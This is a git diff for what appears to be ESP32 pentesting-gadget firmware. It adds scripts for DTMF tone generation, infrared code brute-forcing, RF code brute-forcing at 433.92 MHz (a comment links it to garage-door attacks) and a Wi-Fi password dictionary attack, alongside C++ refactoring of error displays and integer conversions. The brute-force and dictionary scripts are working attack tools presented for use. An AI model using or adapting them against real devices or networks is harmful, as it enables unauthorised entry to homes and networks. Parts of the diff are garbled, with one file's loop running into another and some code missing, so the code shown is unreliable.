diff --git a/sd_files/interpreter/dtmf.js b/sd_files/interpreter/dtmf.js new file mode 100644 index 00000000..660ff9bf --- /dev/null +++ b/sd_files/interpreter/dtmf.js @@ -0,0 +1,35 @@ + + +// generate a DTMF signal from a number string https://en.wikipedia.org/wiki/DTMF + +const dtmfTable = { + '1': { lowFreq: 697, highFreq: 1209 }, + '2': { lowFreq: 697, highFreq: 1336 }, + '3': { lowFreq: 697, highFreq: 1477 }, + 'A': { lowFreq: 697, highFreq: 1633 }, + '4': { lowFreq: 770, highFreq: 1209 }, + '5': { lowFreq: 770, highFreq: 1336 }, + '6': { lowFreq: 770, highFreq: 1477 }, + 'B': { lowFreq: 770, highFreq: 1633 }, + '7': { lowFreq: 852, highFreq: 1209 }, + '8': { lowFreq: 852, highFreq: 1336 }, + '9': { lowFreq: 852, highFreq: 1477 }, + 'C': { lowFreq: 852, highFreq: 1633 }, + '*': { lowFreq: 941, highFreq: 1209 }, + '0': { lowFreq: 941, highFreq: 1336 }, + '#': { lowFreq: 941, highFreq: 1477 }, + 'D': { lowFreq: 941, highFreq: 1633 } +}; + +s = keyboard("0", 99, "Enter number"); + +for( var i=0 ; i 2^16=65536 values to try +var delay_ms = 200; // delay after each try +var protocol = "NEC"; // one of the most common protocols + + +function brute_force() { + var max_val = value_prefix + (1 << no_bits); + + for ( var brute_val = value_prefix; brute_val < max_val ; brute_val++) { + var curr_val = brute_val.toString(16).toUpperCase(); + + drawString("sending", 3 , 0); + drawString(curr_val, 3 , 16); + drawString("hold any key to stop", 3 , 32); + + if(getAnyPress()) break; + + // example full cmd: IRSend {"Protocol":"NEC","Bits":32,"Data":"0x20DF10EF"} + serialCmd("IRSend {\"Protocol\":\"" + protocol + "\",\"Bits\":32,\"Data\":\"0x" + curr_val + "\"}"); + + delay(delay_ms); + fillScreen(0); + } +} + + +while(true) +{ + var network_to_attack_ssid = ""; + var passwords_to_try_arr = []; + + var choice = dialogChoice([ + "Init value:" + value_prefix, "value_prefix", + "Range bits:" + no_bits, "no_bits", + "Delay: " + delay_ms, "delay_ms", + "Protocol:" + protocol, "protocol", + "Start attack", "attack", + ] + ) + + if(choice=="") break; // quit + else if(choice=="value_prefix") value_prefix = parseInt(keyboard(String(value_prefix), 32, "starting value")); + else if(choice=="no_bits") no_bits = parseInt(keyboard(String(no_bits), 32, "bits to iterate")); + else if(choice=="delay_ms") delay_ms = parseInt(keyboard(String(delay_ms), 32, "delay afear each try (in ms)")); + else if(choice=="protocol") protocol = keyboard(protocol, 32, "Protocol"); + else if(choice=="attack") { + if(!value_prefix || !no_bits || !delay_ms || !protocol) { + dialogError("invalid params"); + continue; + } + brute_force(); + } + + fillScreen(0); // clear screen +} diff --git a/sd_files/interpreter/rf_brute.js b/sd_files/interpreter/rf_brute.js new file mode 100644 index 00000000..3deb2a61 --- /dev/null +++ b/sd_files/interpreter/rf_brute.js @@ -0,0 +1,62 @@ + +// bruteforce RF signals +// derived from https://github.com/mcore1976/cc1101-tool/blob/main/cc1101-tool-esp32.ino#617 +// for a more efficient attack look at https://github.com/UberGuidoZ/Flipper/tree/main/Sub-GHz/Garages/deBruijn +// use at your own risk, some devices may lock you out as a security mechanism when spammed with this! + +var value_prefix = 0x445700; +var no_bits = 8; // 1-byte range -> 2^8=256 values to try +var delay_ms = 200; // delay after each try +var freq = "433920000"; // fixed frequency + + +function brute_force() { + var max_val = value_prefix + (1 << no_bits); + + for ( var brute_val = value_prefix; brute_val < max_val ; brute_val++) { + var curr_val = brute_val.toString(16).toUpperCase(); + + drawString("sending", 3 , 0); + drawString(curr_val, 3 , 16); + drawString("hold any key to stop", 3 , 32); + + if(getAnyPress()) break; + + // example full cmd: "subghz tx 445533 433920000 174 10" + serialCmd("subghz tx " + curr_val + " " + freq + " 174 10"); // optional: customize te=174 count=10 + + delay(delay_ms); + fillScreen(0); + } +} + + +while(true) +{ + var network_to_attack_ssid = ""; + var passwords_to_try_arr = []; + + var choice = dialogChoice([ + "Init value:" + value_prefix, "value_prefix", + "Range bits:" + no_bits, "no_bits", + "Delay: " + delay_ms, "delay_ms", + "Frequency:" + freq, "freq", + "Start attack", "attack", + ] + ) + + if(choice=="") break; // quit + else if(choice=="value_prefix") value_prefix = parseInt(keyboard(String(value_prefix), 32, "starting value")); + else if(choice=="no_bits") no_bits = parseInt(keyboard(String(no_bits), 32, "bits to iterate")); + else if(choice=="delay_ms") delay_ms = parseInt(keyboard(String(delay_ms), 32, "delay afear each try (in ms)")); + else if(choice=="freq") freq = parseInt(keyboard(String(freq), 32, "Frequency")); + else if(choice=="attack") { + if(!value_prefix || !no_bits || !delay_ms || !freq) { + dialogError("invalid params"); + continue; + } + brute_force(); + } + + fillScreen(0); // clear screen +} diff --git a/sd_files/interpreter/wifi_brute.js b/sd_files/interpreter/wifi_brute.js new file mode 100644 index 00000000..1f7a5b6c --- /dev/null +++ b/sd_files/interpreter/wifi_brute.js @@ -0,0 +1,76 @@ + + + + +function wifiDictAttack(ssid, pwds) { + var connected = false; + // iterate over the passwords + for( var i=0; i use native open+read? + if(!passwords_to_try) continue; + passwords_to_try_arr = passwords_to_try.split("\n"); + } + else if(choice=="attack") { + if(!network_to_attack_ssid) { + dialogError("no wifi network selected, pls rescan"); + continue; + } + if(!passwords_to_try_arr) { + dialogError("no passwords dict loaded"); + continue; + } + //print("trying attacking network " + networks[i].SSID + " " + networks[i].MAC); + wifiDictAttack(network_to_attack_ssid, passwords_to_try_arr); + + wifiDisconnect(); // avoid automatic reconnection retry to the last network + } // end if attack + + fillScreen(0); // clear screen +} + + +// 2FIX: tries to reconnect? https://github.com/espressif/arduino-esp32/issues/7968 + diff --git a/src/core/passwords.cpp b/src/core/passwords.cpp index 12aa302d..597ca9a3 100644 --- a/src/core/passwords.cpp +++ b/src/core/passwords.cpp @@ -101,7 +101,7 @@ String readDecryptedFile(FS &fs, String filepath) { cyphertextFile.close(); if(unsupported_params || cypertextData.length() == 0) { - displayError("err: invalid Encrypted file (altered?)"); + Serial.println("err: invalid Encrypted file (altered?)"); return ""; } diff --git a/src/core/sd_functions.cpp b/src/core/sd_functions.cpp index 45ac1cd5..59a5b1b2 100644 --- a/src/core/sd_functions.cpp +++ b/src/core/sd_functions.cpp @@ -169,7 +169,7 @@ bool copyToFs(FS from, FS to, String path) { int prog=0; if(&to==&LittleFS && (LittleFS.totalBytes() - LittleFS.usedBytes()) < tot) { - displayError("Not enought space"); + displayError("Not enought space", true); return false; } //tft.drawRect(5,HEIGHT-12, (WIDTH-10), 9, FGCOLOR); @@ -306,7 +306,7 @@ String readSmallFile(FS &fs, String filepath) { size_t fileSize = file.size(); if(fileSize > SAFE_STACK_BUFFER_SIZE || fileSize > ESP.getFreeHeap()) { - displayError("File is too big"); + displayError("File is too big", true); return ""; } // TODO: if(psramFound()) -> use PSRAM instead @@ -475,7 +475,7 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) { if(&fs==&SD) { closeSdCard(); if(!setupSdCard()){ - displayError("Fail Mounting SD"); + displayError("Fail Mounting SD", true); return ""; } } @@ -684,7 +684,7 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) { if(filepath.endsWith(".enc")) { // encrypted files options.insert(options.begin(), {"Decrypt+Type", [&]() { String plaintext = readDecryptedFile(fs, filepath); - if(plaintext.length()==0) return displayError("Decryption failed"); // file is too big or cannot read, or cancelled + if(plaintext.length()==0) return displayError("Decryption failed", true); // file is too big or cannot read, or cancelled // else plaintext.trim(); // remove newlines key_input_from_string(plaintext); @@ -695,10 +695,10 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) { options.insert(options.begin(), {"Decrypt+Show", [&]() { String plaintext = readDecryptedFile(fs, filepath); delay(200); - if(plaintext.length()==0) return displayError("Decryption failed"); + if(plaintext.length()==0) return displayError("Decryption failed", true); plaintext.trim(); // remove newlines //if(plaintext.length()<..) - displaySuccess(plaintext); + displaySuccess(plaintext, true); // else // TODO: show in the text viewer }}); @@ -720,13 +720,11 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext) { }}); options.push_back({"CRC32", [&]() { delay(200); - displaySuccess(crc32File(fs, filepath)); - while(!checkAnyKeyPress()) delay(100); + displaySuccess(crc32File(fs, filepath), true); }}); options.push_back({"MD5", [&]() { delay(200); - displaySuccess(md5File(fs, filepath)); - while(!checkAnyKeyPress()) delay(100); + displaySuccess(md5File(fs, filepath), true); }}); } @@ -872,7 +870,7 @@ void viewFile(FS fs, String filepath) { **********************************************************************/ bool checkLittleFsSize() { if((LittleFS.totalBytes() - LittleFS.usedBytes()) < 4096) { - displayError("LittleFS is Full"); + displayError("LittleFS is Full", true); return false; } else return true; } diff --git a/src/modules/bjs_interpreter/interpreter.cpp b/src/modules/bjs_interpreter/interpreter.cpp index 3ad8309a..8339b9da 100644 --- a/src/modules/bjs_interpreter/interpreter.cpp +++ b/src/modules/bjs_interpreter/interpreter.cpp @@ -40,18 +40,18 @@ static duk_ret_t native_now(duk_context *ctx) { } static duk_ret_t native_delay(duk_context *ctx) { - delay(duk_to_number(ctx, 0)); + delay(duk_to_int(ctx, 0)); return 0; } // Hardware GPIO interactions static duk_ret_t native_digitalWrite(duk_context *ctx) { - digitalWrite(duk_to_number(ctx, 0),duk_to_boolean(ctx, 1)); + digitalWrite(duk_to_int(ctx, 0), duk_to_boolean(ctx, 1)); return 0; } static duk_ret_t native_pinMode(duk_context *ctx) { - pinMode(duk_to_number(ctx, 0),duk_to_number(ctx, 1)); + pinMode(duk_to_int(ctx, 0), duk_to_int(ctx, 1)); return 0; } // Get information from the board; @@ -103,11 +103,11 @@ static duk_ret_t native_wifiConnectDialog(duk_context *ctx) { static duk_ret_t native_wifiConnect(duk_context *ctx) { // usage: wifiConnect(ssid : string ) - // usage: wifiConnect(ssid : string, timeout_in_seconds : number) - // usage: wifiConnect(ssid : string, timeout_in_seconds : number, pwd : string) + // usage: wifiConnect(ssid : string, timeout_in_seconds : int) + // usage: wifiConnect(ssid : string, timeout_in_seconds : int, pwd : string) String ssid = duk_to_string(ctx, 0); int timeout_in_seconds = 10; - if(duk_is_number(ctx, 1)) timeout_in_seconds = duk_to_number(ctx, 1); + if(duk_is_number(ctx, 1)) timeout_in_seconds = duk_to_int(ctx, 1); bool r = false; @@ -143,7 +143,7 @@ static duk_ret_t native_wifiScan(duk_context *ctx) { // Example usage: `print(wifiScan()[0].SSID)` wifiDisconnect(); WiFi.mode(WIFI_MODE_STA); - Serial.println("Scanning..."); + //Serial.println("Scanning..."); int nets = WiFi.scanNetworks(); duk_push_array(ctx); int arrayIndex = 0; @@ -266,7 +266,7 @@ static duk_ret_t native_setTextColor(duk_context *ctx) { } static duk_ret_t native_setTextSize(duk_context *ctx) { - tft.setTextSize(duk_to_number(ctx, 0)); + tft.setTextSize(duk_to_int(ctx, 0)); return 0; } @@ -346,6 +346,11 @@ static duk_ret_t native_getNextPress(duk_context *ctx) { else duk_push_boolean(ctx, false); return 1; } +static duk_ret_t native_getAnyPress(duk_context *ctx) { + if(checkAnyKeyPress()) duk_push_boolean(ctx, true); + else duk_push_boolean(ctx, false); + return 1; +} static duk_ret_t native_getKeysPressed(duk_context *ctx) { #ifdef CARDPUTER @@ -414,7 +419,7 @@ static duk_ret_t native_serialReadln(duk_context *ctx) { String line ; int maxloops = 1000*10; if(duk_is_number(ctx, 0)) - maxloops = duk_to_number(ctx, 0); + maxloops = duk_to_int(ctx, 0); Serial.flush(); while (maxloops) { if (!Serial.available()) { @@ -440,6 +445,7 @@ static duk_ret_t native_playAudioFile(duk_context *ctx) { // returns: bool==true on success, false on any error // MEMO: no need to check for board support (done in processSerialCommand) bool r = processSerialCommand("music_player " + String(duk_to_string(ctx, 0))); + setup_gpio(); // temp fix for menu inf. loop duk_push_boolean(ctx, r); return 1; } @@ -449,11 +455,8 @@ static duk_ret_t native_tone(duk_context *ctx) { // usage: tone(frequency : number, duration : number); // returns: bool==true on success, false on any error // MEMO: no need to check for board support (done in processSerialCommand) - bool r = false; - if(duk_is_string(ctx, 1)) - r = processSerialCommand("tone " + String(duk_to_string(ctx, 0)) + " " + String(duk_to_string(ctx, 1))); - else - r = processSerialCommand("tone " + String(duk_to_string(ctx, 0))); + bool r = processSerialCommand("tone " + String(duk_to_int(ctx, 0)) + " " + String(duk_to_int(ctx, 1))); + setup_gpio(); // temp fix for menu inf. loop duk_push_boolean(ctx, r); return 1; } @@ -536,9 +539,9 @@ static duk_ret_t native_badusbPress(duk_context *ctx) { // usage: badusbPress(keycode_number); // keycodes list: https://github.com/espressif/arduino-esp32/blob/master/libraries/USB/src/USBHIDKeyboard.h #if defined(USB_as_HID) - Kb.press(duk_to_number(ctx, 0)); + Kb.press(duk_to_int(ctx, 0)); delay(1); - Kb.release(duk_to_number(ctx, 0)); + Kb.release(duk_to_int(ctx, 0)); #endif return 0; } @@ -546,7 +549,7 @@ static duk_ret_t native_badusbPress(duk_context *ctx) { static duk_ret_t native_badusbHold(duk_context *ctx) { // usage: badusbHold(keycode : number); #if defined(USB_as_HID) - Kb.press(duk_to_number(ctx, 0)); + Kb.press(duk_to_int(ctx, 0)); #endif return 0; } @@ -554,7 +557,7 @@ static duk_ret_t native_badusbHold(duk_context *ctx) { static duk_ret_t native_badusbRelease(duk_context *ctx) { // usage: badusbHold(keycode : number); #if defined(USB_as_HID) - Kb.release(duk_to_number(ctx, 0)); + Kb.release(duk_to_int(ctx, 0)); #endif return 0; } @@ -570,9 +573,9 @@ static duk_ret_t native_badusbPressRaw(duk_context *ctx) { // usage: badusbPressRaw(keycode_number); // keycodes list: TinyUSB's HID_KEY_* macros https://github.com/hathach/tinyusb/blob/master/src/class/hid/hid.h #if defined(USB_as_HID) - Kb.pressRaw(duk_to_number(ctx, 0)); + Kb.pressRaw(duk_to_int(ctx, 0)); delay(1); - Kb.releaseRaw(duk_to_number(ctx, 0)); + Kb.releaseRaw(duk_to_int(ctx, 0)); #endif return 0; } @@ -582,7 +585,7 @@ static duk_ret_t native_badusbPressSpecial(duk_context *ctx) { // usage: badusbPressSpecial(keycode_number); // keycodes list: https://github.com/espressif/arduino-esp32/blob/master/libraries/USB/src/USBHIDConsumerControl.h #if defined(USB_as_HID) - cc.press(duk_to_number(ctx, 0)); + cc.press(duk_to_int(ctx, 0)); delay(10); cc.release(); //cc.end(); @@ -600,7 +603,7 @@ static duk_ret_t native_irRead(duk_context *ctx) { IrRead i = IrRead(true); // true == headless mode String r = ""; if(duk_is_number(ctx, 0)) - r = i.loop_headless(duk_to_number(ctx, 0)); // custom timeout + r = i.loop_headless(duk_to_int(ctx, 0)); // custom timeout else r = i.loop_headless(10); // 10s timeout duk_push_string(ctx, r.c_str()); @@ -614,7 +617,7 @@ static duk_ret_t native_irReadRaw(duk_context *ctx) { IrRead i = IrRead(true, true); // true == headless mode, true==raw mode String r = ""; if(duk_is_number(ctx, 0)) - r = i.loop_headless(duk_to_number(ctx, 0)); // custom timeout + r = i.loop_headless(duk_to_int(ctx, 0)); // custom timeout else r = i.loop_headless(10); // 10s timeout duk_push_string(ctx, r.c_str()); @@ -629,7 +632,7 @@ static duk_ret_t native_subghzRead(duk_context *ctx) { // returns a string of the generated sub file, empty string on timeout or other errors (decoding failed) String r = ""; if(duk_is_number(ctx, 0)) - r = RCSwitch_Read(RfFreq, duk_to_number(ctx, 0)); // custom timeout + r = RCSwitch_Read(RfFreq, duk_to_int(ctx, 0)); // custom timeout else r = RCSwitch_Read(RfFreq, 10); duk_push_string(ctx, r.c_str()); @@ -639,7 +642,7 @@ static duk_ret_t native_subghzRead(duk_context *ctx) { static duk_ret_t native_subghzReadRaw(duk_context *ctx) { String r = ""; if(duk_is_number(ctx, 0)) - r = RCSwitch_Read(RfFreq, duk_to_number(ctx, 0), true); // custom timeout + r = RCSwitch_Read(RfFreq, duk_to_int(ctx, 0), true); // custom timeout else r = RCSwitch_Read(RfFreq, 10, true); duk_push_string(ctx, r.c_str()); @@ -650,7 +653,7 @@ static duk_ret_t native_subghzReadRaw(duk_context *ctx) { static duk_ret_t native_subghzSetFrequency(duk_context *ctx) { // usage: subghzSetFrequency(freq_as_float); if(duk_is_number(ctx, 0)) - RfFreq = duk_to_number(ctx, 0); // global var + RfFreq = duk_to_number(ctx, 0); // float global var return 0; } @@ -694,9 +697,7 @@ static duk_ret_t native_dialogChoice(duk_context *ctx) { const char* r = ""; if (duk_is_array(ctx, 0)) { - options = { - {"Cancel", [&]() { r = ""; }}, - }; + options = {}; // Get the length of the array duk_uint_t len = duk_get_length(ctx, 0); @@ -727,9 +728,11 @@ static duk_ret_t native_dialogChoice(duk_context *ctx) { duk_pop(ctx); // add to the choices list - options.push_back({choiceKey, [&]() { r = choiceValue; }}); + options.push_back({choiceKey, [choiceValue, &r]() { r = choiceValue; }}); } // end for + options.push_back({"Cancel", [&]() { r = ""; }}); + delay(200); loopOptions(options); } @@ -757,8 +760,8 @@ static duk_ret_t native_dialogViewFile(duk_context *ctx) { static duk_ret_t native_keyboard(duk_context *ctx) { // usage: keyboard() : string // usage: keyboard(title : string) : string - // usage: keyboard(title : string, maxlen : number) : string - // usage: keyboard(title : string, maxlen : number, initval : string) : string + // usage: keyboard(title : string, maxlen : int) : string + // usage: keyboard(title : string, maxlen : int, initval : string) : string // returns: text typed by the user String r = ""; if(!duk_is_string(ctx, 0)) @@ -766,9 +769,9 @@ static duk_ret_t native_keyboard(duk_context *ctx) { else if(!duk_is_number(ctx, 1)) r = keyboard(String(duk_to_string(ctx, 0))); else if(!duk_is_string(ctx, 2)) - r = keyboard(String(duk_to_string(ctx, 0)), duk_to_number(ctx, 1)); + r = keyboard(String(duk_to_string(ctx, 0)), duk_to_int(ctx, 1)); else - r = keyboard(String(duk_to_string(ctx, 0)), duk_to_number(ctx, 1), String(duk_to_string(ctx, 2))); + r = keyboard(String(duk_to_string(ctx, 0)), duk_to_int(ctx, 1), String(duk_to_string(ctx, 2))); duk_push_string(ctx, r.c_str()); return 1; } @@ -925,6 +928,8 @@ bool interpreter() { duk_put_global_string(ctx, "getSelPress"); duk_push_c_function(ctx, native_getNextPress, 0); // checkNextPress duk_put_global_string(ctx, "getNextPress"); + duk_push_c_function(ctx, native_getAnyPress, 0); + duk_put_global_string(ctx, "getAnyPress"); // Serial + wrappers duk_push_c_function(ctx, native_serialReadln, 0); @@ -967,7 +972,7 @@ bool interpreter() { duk_put_global_string(ctx, "irRead"); duk_push_c_function(ctx, native_irReadRaw, 0); duk_put_global_string(ctx, "irReadRaw"); - //TODO: native_irTransmit(string) + //TODO: irTransmit(string) // subghz functions duk_push_c_function(ctx, native_subghzRead, 0); diff --git a/src/modules/ir/TV-B-Gone.cpp b/src/modules/ir/TV-B-Gone.cpp index 5442b7bd..720ee916 100644 --- a/src/modules/ir/TV-B-Gone.cpp +++ b/src/modules/ir/TV-B-Gone.cpp @@ -293,7 +293,6 @@ bool txIrFile(FS *fs, String filepath) { String address = ""; String command = ""; String value = ""; - String state = ""; String bits = "32"; databaseFile.seek(0); // comes back to first position @@ -388,7 +387,6 @@ bool txIrFile(FS *fs, String filepath) { command = ""; protocol = ""; value = ""; - state = ""; type = ""; line = ""; break; @@ -647,7 +645,7 @@ bool sendDecodedCommand(String protocol, String value, String bits) { displayRedStripe("Sending..",TFT_WHITE,FGCOLOR); if(hasACState(type)) { - // need to send the state (passed from value) + // need to send the state (still passed from value) uint8_t state[nbit_int / 8] = {0}; uint16_t state_pos = 0; for (uint16_t i = 0; i < value.length(); i += 3) { diff --git a/src/modules/ir/ir_read.cpp b/src/modules/ir/ir_read.cpp index 113f8717..ee784575 100644 --- a/src/modules/ir/ir_read.cpp +++ b/src/modules/ir/ir_read.cpp @@ -181,11 +181,7 @@ String IrRead::parse_state_signal() { return r; } -String IrRead::parse_raw_signal() { - //rawcode = new uint16_t[MAX_RAWBUF_SIZE]; - //memset(rawcode, 0, MAX_RAWBUF_SIZE * sizeof(uint16_t)); - //raw_data_len = results.rawlen; - +String IrRead::parse_raw_signal() { // https://github.com/crankyoldgit/IRremoteESP8266/blob/master/examples/SmartIRRepeater/SmartIRRepeater.ino rawcode = resultToRawArray(&results); raw_data_len = getCorrectedRawLength(&results); @@ -195,6 +191,7 @@ String IrRead::parse_raw_signal() { for (uint16_t i = 0; i < raw_data_len; i++) { signal_code += String(rawcode[i]) + " "; } + delete[] rawcode; rawcode = nullptr; signal_code.trim(); @@ -290,11 +287,9 @@ void IrRead::append_to_file_str(String btn_name) { Serial.println("value:"); serialPrintUint64(results.address, HEX); serialPrintUint64(results.command, HEX); - * Serial.print("resultToHexidecimal: "); - Serial.println(resultToHexidecimal(&results)); // 0x20DFC03F + Serial.println(resultToHexidecimal(&results)); Serial.println(results.value); - Serial.println(); String value = uint32ToString(results.value ) + " " + uint32ToString(results.value>> 32); value.replace(" ", ""); uint64_t value_int = strtoull(value.c_str(), nullptr, 16); @@ -331,13 +326,13 @@ void IrRead::save_device() { }; if (fs != nullptr && write_file(filename, fs)) { - displaySuccess("File saved to " + String((fs == &SD) ? "SD Card" : "LittleFS") + "."); + displaySuccess("File saved to " + String((fs == &SD) ? "SD Card" : "LittleFS") + ".", true); signals_read = 0; strDeviceContent = ""; } else { if (fs == nullptr) { - displayError("No storage available."); - } else displayError("Error writing file."); + displayError("No storage available.", true); + } else displayError("Error writing file.", true); } delay(1000); diff --git a/src/modules/rf/rf.cpp b/src/modules/rf/rf.cpp index 2f3e10b3..027d6063 100644 --- a/src/modules/rf/rf.cpp +++ b/src/modules/rf/rf.cpp @@ -204,7 +204,7 @@ String rf_scan(float start_freq, float stop_freq, int max_loops) // derived from https://github.com/mcore1976/cc1101-tool/blob/main/cc1101-tool-esp32.ino#L480 if(RfModule != 1) { - displayError("rf scanning is available with CC1101 only"); + displayError("rf scanning is available with CC1101 only", true); return ""; // only CC1101 is supported for this } if(!initRfModule("rx", start_freq)) return ""; @@ -564,8 +564,8 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw) { rcswitch.enableReceive(CC1101_GDO2_PIN); #else rcswitch.enableReceive(CC1101_GDO0_PIN); - Serial.println("CC1101 enableReceive()"); #endif + Serial.println("CC1101 enableReceive()"); #else return ""; #endif @@ -628,7 +628,6 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw) { // switch to raw mode if decoding failed if(received.preset == 0) { displayWarning("signal decoding failed, switching to RAW mode"); - delay(2000); raw = true; // TODO: show a dialog/warning? // raw = yesNoDialog("decoding failed, save as RAW?"); @@ -762,7 +761,7 @@ bool RCSwitch_SaveSignal(float frequency, RfCodes codes, bool raw, char* key) displaySuccess(FS + "/bruce_" + String(i) + ".sub"); } else { Serial.println("Fail saving data to LittleFS"); - displayError("Error saving file"); + displayError("Error saving file", true); } file.close(); @@ -1090,8 +1089,7 @@ bool txSubFile(FS *fs, String filepath) { if (!databaseFile) { Serial.println("Failed to open database file."); - displayError("Fail to open file"); - delay(2000); + displayError("Fail to open file", true); return false; } Serial.println("Opened sub file.");